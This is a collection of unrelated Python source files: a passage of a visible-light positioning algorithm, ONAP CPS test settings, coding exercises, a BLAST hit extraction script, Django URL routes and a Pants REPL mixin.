            np.dot(r1_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_c_s2[0] = np.sum(
            np.dot(r1_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_d_s2[0] = np.sum(
            np.dot(r1_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_a_s2[1] = np.sum(
            np.dot(r2_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_b_s2[1] = np.sum(
            np.dot(r2_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_c_s2[1] = np.sum(
            np.dot(r2_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_d_s2[1] = np.sum(
            np.dot(r2_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        # phi values will be used to estimate thetas.
        phi_h_s1[0] = ((eps_b_s1[0] + eps_d_s1[0]) - (eps_a_s1[0] + eps_c_s1[0])) / (
                eps_a_s1[0] + eps_b_s1[0] + eps_c_s1[0] + eps_d_s1[0])
        phi_h_s1[1] = ((eps_b_s1[1] + eps_d_s1[1]) - (eps_a_s1[1] + eps_c_s1[1])) / (
                eps_a_s1[1] + eps_b_s1[1] + eps_c_s1[1] + eps_d_s1[1])
        phi_h_s2[0] = ((eps_b_s2[0] + eps_d_s2[0]) - (eps_a_s2[0] + eps_c_s2[0])) / (
                eps_a_s2[0] + eps_b_s2[0] + eps_c_s2[0] + eps_d_s2[0])
        phi_h_s2[1] = ((eps_b_s2[1] + eps_d_s2[1]) - (eps_a_s2[1] + eps_c_s2[1])) / (
                eps_a_s2[1] + eps_b_s2[1] + eps_c_s2[1] + eps_d_s2[1])
        # transfer function takes calculated phi and returns theta. theta_l_r[0] means s1, theta_l_r[:][0] means left.
        theta_l_r[0][0] = self.transfer_function(phi_h_s1[0]) * np.pi / 180
        theta_l_r[0][1] = self.transfer_function(phi_h_s1[1]) * np.pi / 180
        theta_l_r[1][0] = self.transfer_function(phi_h_s2[0]) * np.pi / 180
        theta_l_r[1][1] = self.transfer_function(phi_h_s2[1]) * np.pi / 180
        # pose estimations is made here with the usage of theta_l_r
        diff_1 = theta_l_r[0][0] - theta_l_r[0][1]
        t_x_1 = self.car_dist * (
                    1 + (math.sin(theta_l_r[0][1]) * math.cos(theta_l_r[0][0])) / (math.sin(diff_1))) if math.sin(
            diff_1) != 0 else None
        t_y_1 = self.car_dist * (
                    (math.cos(theta_l_r[0][1]) * math.cos(theta_l_r[0][0])) / (math.sin(diff_1))) if math.sin(
            diff_1) != 0 else None
        diff_2 = theta_l_r[1][0] - theta_l_r[1][1]
        t_x_2 = self.car_dist * (
                    1 + (math.sin(theta_l_r[1][1]) * math.cos(theta_l_r[1][0])) / (math.sin(diff_2))) if math.sin(
            diff_2) != 0 else None
        t_y_2 = self.car_dist * (
                    (math.cos(theta_l_r[1][1]) * math.cos(theta_l_r[1][0])) / (math.sin(diff_2))) if math.sin(
            diff_2) != 0 else None
        # this change of coordinates made for plotting in the same frame with other VLP_methods.
        tx_pos = self.change_cords(np.array([[t_x_1, t_y_1], [t_x_2, t_y_2]]))
        return tx_pos

    def find_nearest(self, array, value):
        # takes the array and returns the index of nearest one from specified value.
        array = np.asarray(array)
        idx = (np.abs(array - value)).argmin()
        return idx, array[idx]

    def transfer(self, coefficient, x, x1):
        # this is equation for piecewise transfer functipn.
        return (coefficient[0] * (x - x1) ** 3) + (coefficient[1] * (x - x1) ** 2) + (coefficient[2] * (x - x1) ** 1) + \
               coefficient[3]

    def transfer_function(self, phi):
        # since transfer function valid in boundary, we need to check that it is valid or not. IF it is higher than
        # limit it returns the max. boundary
        phi = 1.0000653324773283 if phi >= 1.0000653324773283 else phi
        phi = -1.0000980562352184 if phi <= -1.0000980562352184 else phi

        idx, lower_endpoint = self.find_nearest(breaks, phi)
        coefficient = coefficients[idx]
        return self.transfer(coefficient, phi, lower_endpoint)

    def change_cords(self, txpos):
        # changing coordinates as x->-y, y->x
        t_tx_pos = np.copy(txpos)
        t_tx_pos[0][0] = -txpos[0][1]
        t_tx_pos[1][0] = txpos[0][0]
        t_tx_pos[0][1] = -txpos[1][1]
        t_tx_pos[1][1] = txpos[1][0]
        return t_tx_pos


from .settings import *  # noqa

import json
from pathlib import Path

from onaptests.utils.resources import get_resource_location

CLEANUP_FLAG = True

ANCHOR_DATA = json.dumps(
    {
        "bookstore": {
            "bookstore-name": "Chapters",
            "categories": [{
                "code": 1,
                "name": "SciFi",
                "books": [{
                    "title": "2001: A Space Odyssey",
                    "price": 5
                }, {
                    "title": "Dune",
                    "price": 5
                }]
            }, {
                "code": 2,
                "name": "Kids",
                "books": [{
                    "title": "Matilda"
                }]
            }]
        }
    }
)
ANCHOR_NAME = "basic-cps-test-anchor"
DATASPACE_NAME = "basic-cps-test-dataspace"
SCHEMA_SET_NAME = "basic-cps-test-schema-set"
SCHEMA_SET_FILE = Path(get_resource_location("templates/artifacts/cps/bookstore.yang"))

SERVICE_NAME = "Basic CPS test"
SERVICE_COMPONENTS = "CPS"


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# 在一个二维数组中，每一行都按照从左到右递增的顺序排序，
# 每一列都按照从上到下递增的顺序排序。请完成一个函数，
# 输入这样的一个二维数组和一个整数，判断数组中是否含有该整数。

class Solution:
    # array 二维列表

     @staticmethod
     def Find(target, array):
        index = len(array)-1
        jndex = 0
        while True:
            if jndex == len(array[0]) or index < 0:
                return False
            print(array[index][jndex])
            if target == array[index][jndex]:
                print("存在目标:" + str(target) + " i:" + str(index) + " j:" + str(jndex))
                return True
            elif target < array[index][jndex]:
                index -= 1
            else:
                jndex += 1
        return False

arra = [[1, 2, 8, 9],
        [2, 4, 9, 12],
        [4, 7, 10, 13],
        [6, 8, 11, 15]]
print(Solution.Find(5,arra))


#!/usr/bin/python3

import sys
import glob
import re
import os

complementDict = {"A":"T", "C":"G", "G":"C", "T":"A", "N":"N"}

def reverse_complement(seq):
    seqReverse = seq[::-1]
    bases = list(seqReverse)
    complements = [complementDict[base] for base in bases]
    seqRC = "".join(complements)
    return(seqRC)

IDPattern = re.compile("^>\s*(\S+).*$")
subjectPattern = re.compile("^Sbjct\s+(\d+)\s+[A-Z*]+\s+(\d+)$")
identityPattern = re.compile("^\s*Identities\s+=\s+\d+/\d+\s+\((\d+)%\).+$")
seqPattern = re.compile("^[^>\n\s][A-Z*-]*$")

inFileList = [os.path.basename(x) for x in glob.glob("./*.tblastn")]

print(inFileList)

outFile = open("extracted_blast_hits.fasta","w")

for inFile in inFileList:
    print(inFile)
    blastOut = open(inFile, "r")
    currentID = ""
    hitDict = {}
    species = inFile.replace(".tblastn","")
    for line in blastOut:
        line = line.rstrip()
        if IDPattern.match(line):
            currentID = IDPattern.match(line).group(1)
            # print("ID is now:",currentID)
        if identityPattern.match(line):
            percentageID = int(identityPattern.match(line).group(1))
            # print("Percentage identity:",percentageID)
            if percentageID >= 70:
                if currentID not in hitDict:
                    hitDict[currentID] = [[[],[]]]
                    alignmentIdx = 0
                else:
                    alignmentIdx = len(hitDict[currentID])
                    hitDict[currentID].append([[],[]])
                # print("Threshold exceeded. Adding sequence to dictionary")
                # print("Collecting data for alignment index:",alignmentIdx)
            else:
                pass
                # print("Low identity. Skipping sequence")
        if subjectPattern.match(line) and percentageID >= 70:
            startPos = int(subjectPattern.match(line).group(1))
            hitDict[currentID][alignmentIdx][0].append(startPos)
            endPos = int(subjectPattern.match(line).group(2))
            hitDict[currentID][alignmentIdx][1].append(endPos)
    blastOut.close()
    print(hitDict)
    print(len(hitDict))
    alignDict = {}
    for key, val in hitDict.items():
        transcript = key
        alignDict[transcript] = []
        for alignment in val:
            ends = [alignment[0][0], alignment[1][-1]]
            if ends[1] > ends[0]:
                direction = "forward"
                start = ends[0]
                end = ends[1]
            elif ends[0] > ends[1]:
                direction = "reverse"
                start = ends[1]
                end = ends[0]
            else:
                sys.exit("Error, one end of alignment not greater than other")
            print(direction, start, end)
            alignDict[transcript].append([direction, start, end])
    print(alignDict)
    transcriptomeName = inFile.replace(".tblastn",".fasta")
    transcriptomeName = "../"+transcriptomeName
    if not os.path.isfile(transcriptomeName):
        sys.exit("Error, transcriptome not found")
    seqDict = {}
    transcriptome = open(transcriptomeName, "r")
    for line in transcriptome:
        line = line.strip()
        if IDPattern.match(line):
            transcript = IDPattern.match(line).group(1)
            if transcript in alignDict:
                print("GENE FOUND")
                print(transcript)
                seqDict[transcript] = ""
        if seqPattern.match(line) and transcript in alignDict:
            seqDict[transcript] = seqDict[transcript] + line
    transcriptome.close()
    for key, val in alignDict.items():
        transcript = key
        fullSeq = seqDict[transcript]
        print(key)
        extractSeq = ""
        for alignment in val:
            direction = alignment[0]
            start = alignment[1]
            end = alignment[2]
            subSeq = fullSeq[start-1:end]
            if direction == "forward":
                pass
            elif direction == "reverse":
                subSeq = reverse_complement(subSeq)
            else:
                sys.exit("Error, direction not recognised")
            print(subSeq)
            print(len(subSeq),(end-start)+1)
            extractSeq = extractSeq + subSeq
        outFile.write(">" + species + "|" + transcript + "\n")
        outFile.write(extractSeq + "\n")

outFile.close()

quit()


from django.conf.urls import url

from .views import homepage, TitlesList, TitleDetail, Totals # totals    # titles, title

urlpatterns = [
    url(r'^$', homepage),
    url(r'^totals/$', Totals.as_view()),
#     url(r'^totals/$', totals, name='title_totals'),
#     url(r'^all/$', titles, name='title_titles'),
    url(r'^all/$', TitlesList.as_view(), name='title_titles'),
#     url(r'^get/(?P<title_id>\d+)/$', title, name='title_title'),
    url(r'^get/(?P<title_id>\d+)/$', TitleDetail.as_view(), name='title_title'),
]


'''
 给定一个数组序列, 需要求选出一个区间, 使得该区间是所有区间中经过如下计算的值最大的一个：
区间中的最小数 * 区间所有数的和最后程序输出经过计算后的最大值即可，不需要输出具体的区间。如给定序列  [6 2 1]则根据上述公式, 可得到所有可以选定各个区间的计算值:
[6] = 6 * 6 = 36;
[2] = 2 * 2 = 4;
[1] = 1 * 1 = 1;
[6,2] = 2 * 8 = 16;
[2,1] = 1 * 3 = 3;
[6, 2, 1] = 1 * 9 = 9;
从上述计算可见选定区间 [6] ，计算值为 36， 则程序输出为 36。

区间内的所有数字都在[0, 100]的范围内;
第一行输入数组序列长度n，第二行输入数组序列。
'''

import sys

global max_value
max_value = 0

def input_list():
    recivelist1 = sys.stdin.readline().strip()
    recivelist2 = sys.stdin.readline().strip().split(" ")
    arr = []
    for x in recivelist2:
        k = int(x)
        arr.append(k)
    return arr

def search_max(arr):
    global max_value
    if not arr:
        return max_value

    min_value = min(arr)
    min_index = arr.index(min_value)
    sum_value = sum(arr)
    max_value = max(sum_value * min_value, max_value)

    sub_left = arr[0:min_index]
    sub_right = arr[min_index + 1:]

    return max(search_max(sub_left), search_max(sub_right), max_value)

if __name__ == '__main__':
    print(search_max(input_list()))

10_输出数组经过计算后的最大值.py


# Print a Chessboard

end = 0
while end == 0:
    rectangle = [int(i) for i in input().rstrip().split()]
    height = rectangle[0]
    width = rectangle[1]
    if [height, width] == [0, 0]:
        end += 1
    else:
        for i in range(height):
            for j in range(width):
                sum = i + j
                if sum % 2 == 0:
                    print('#', end = "")
                elif sum % 2 == 1:
                    print('.', end = "")
            print()
        print()

AIZU ONLINE JUDGE/Course/ITP1/Print a Chessboard.py


# coding=utf-8
# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).

from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
                        unicode_literals, with_statement)

from abc import abstractmethod

from pants.base.workunit import WorkUnitLabel
from pants.console.stty_utils import STTYSettings
from pants.task.mutex_task_mixin import MutexTaskMixin

class ReplTaskMixin(MutexTaskMixin):
  """A task mutex mixin for all REPL providing tasks installed in pants.

  By mixing in this class, REPL implementations ensure they are the only REPL that is being run in
  the current pants session.

  :API: public
  """

  @classmethod
  def mutex_base(cls):
    return ReplTaskMixin

  @abstractmethod
  def setup_repl_session(self, targets):
    """Implementations should prepare their REPL runner and return all session setup state needed.

    NB: This is called with the pants lock help, so otherwise unsafe operations can be performed.

    :param targets: All the targets reachable in this run selected by this REPLs `select_targets`
                    method.
    :returns: Any session setup state needed by `launch_repl`

    :API: public
    """

  @abstractmethod
  def launch_repl(self, session_setup):
    """Implementations should launch an interactive REPL session.

    :param session_setup:  The state returned from `setup_repl_session`

    :API: public
    """

  def execute_for(self, targets):
    session_setup = self.setup_repl_session(targets)
    self.context.release_lock()
    with STTYSettings.preserved():
      with self.context.new_workunit(name='repl', labels=[WorkUnitLabel.RUN]):
        print('')  # Start REPL output on a new line.
        try:
          return self.launch_repl(session_setup)
        except KeyboardInterrupt:
          # This is a valid way to end a REPL session in general, so just break out of execute and
          # continue.
          pass